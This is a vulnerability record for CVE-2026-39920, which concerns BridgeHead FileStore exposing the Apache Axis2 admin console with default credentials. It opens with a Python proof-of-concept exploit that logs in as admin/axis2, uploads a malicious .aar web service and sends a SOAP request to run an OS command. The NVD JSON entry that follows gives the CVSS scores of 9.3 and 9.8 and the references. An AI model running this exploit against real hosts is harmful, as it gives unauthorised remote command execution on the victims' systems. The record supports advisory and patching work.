CVE-2026-39920

import requests # Target configuration target_url = "http://target:8080/axis2/services/" login_url = "http://target:8080/axis2/axis2-admin/login" upload_url = "http://target:8080/axis2/axis2-admin/upload" service_name = "MaliciousService" # Default credentials credentials = { "userName": "admin", "password": "axis2" } # 1. Login to Axis2 Admin Console session = requests.Session() login_response = session.post(login_url, data=credentials) if login_response.status_code == 200 and "axis2-admin" in login_response.text: print("[+] Login successful using default credentials.") # 2. Upload malicious .aar file (Assuming 'exploit.aar' is prepared) # This step requires creating a .aar file with a Java class that executes commands files = {'file': ('exploit.aar', open('exploit.aar', 'rb'), 'application/java-archive')} upload_response = session.post(upload_url, files=files) if upload_response.status_code == 200: print("[+] Exploit .aar uploaded successfully.") # 3. Execute command via SOAP request # Constructing the SOAP envelope to call the malicious method soap_payload = f"""<?xml version='1.0' encoding='UTF-8'?> <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Body> <ns1:executeCommand xmlns:ns1="http://service.example.com"> <cmd>whoami</cmd> </ns1:executeCommand> </soapenv:Body> </soapenv:Envelope>""" headers = {'Content-Type': 'text/xml'} exploit_response = session.post(f"{target_url}{service_name}", data=soap_payload, headers=headers) print("[+] Command execution response:") print(exploit_response.text) else: print("[-] Upload failed.") else: print("[-] Login failed.")

{"cve": {"id": "CVE-2026-39920", "sourceIdentifier": "[email protected]", "published": "2026-04-24T16:16:36.267", "lastModified": "2026-04-24T17:55:55.317", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "BridgeHead FileStore versions prior to 24A (released in early 2024) expose the Apache Axis2 administration module on network-accessible endpoints with default credentials that allows unauthenticated remote attackers to execute arbitrary OS commands. Attackers can authenticate to the admin console using default credentials, upload a malicious Java archive as a web service, and execute arbitrary commands on the host via SOAP requests to the deployed service."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1188"}, {"lang": "en", "value": "CWE-1391"}]}], "references": [{"url": "https://axis.apache.org/axis2/java/core/docs/webadminguide.html", "source": "[email protected]"}, {"url": "https://gist.github.com/VAMorales/9e6a13d7529c079a363930dff48be3ba", "source": "[email protected]"}, {"url": "https://issues.apache.org/jira/browse/AXIS2-4279", "source": "[email protected]"}, {"url": "https://www.bridgeheadsoftware.com/rapid-data-protection-product-updates/", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/bridgehead-filestore-24a-apache-axis2-default-credentials-rce", "source": "[email protected]"}]}}